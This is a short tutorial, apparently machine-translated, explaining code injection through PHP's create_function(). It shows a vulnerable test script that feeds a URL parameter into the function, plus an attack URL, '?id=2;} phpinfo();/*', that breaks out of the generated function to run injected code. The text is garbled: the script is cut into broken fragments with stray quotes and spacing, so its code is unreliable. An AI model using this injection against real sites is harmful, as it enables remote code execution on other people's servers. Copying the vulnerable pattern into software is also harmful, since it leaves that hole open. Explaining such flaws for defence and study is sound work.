PHP function create_function () code injection

PHP function create_function () code injection

Part 1: Describes the php function create_function ():

String create_function (string $ args, string $ code) string $ args variable part string $ code method code section example: create_function ('$ fname', 'echo $ fname. "Zhang" ') is similar to function fT ($ fname) {echo $ fname. "Zhang";} Here is an official example: Part 2: How to Use create_function () code to inject code with problematic versions in the test environment: apache + php 5.2 and apache + php 5.3: "; echo" ================================="; echo"
"; $ F1 = create_function ('$ A', $ str2); echo"
"; Echo" =================================" ;?> Usage: http: // localhost/libtest/02-8.php? Id = 2;} phpinfo ();/* implementation principle: Because id = 2;} phpinfo ();/* The execution function is: source code: function fT ($) {echo "test ". $ a;} injected code: function fT ($ a) {echo "test";} phpinfo ();/*; // inject code here .}